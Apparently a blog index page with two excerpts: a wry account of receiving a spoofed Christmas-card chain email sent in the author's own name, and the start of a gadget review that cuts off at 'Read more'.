I just received a mail from Frank Goossens. I’ve apparently invited myself to view “an adorable Christmas-card” containing “warm wishes”. Moreover I tried to guilt-trick myself into forwarding that same card to friends and family, as that simple gesture would provide the poor with (unhealthy fried) food for the Poverello Christmas-dinner.

Although the tech reporters and vloggers were underwhelmed by the screen (no Oled or … Read more
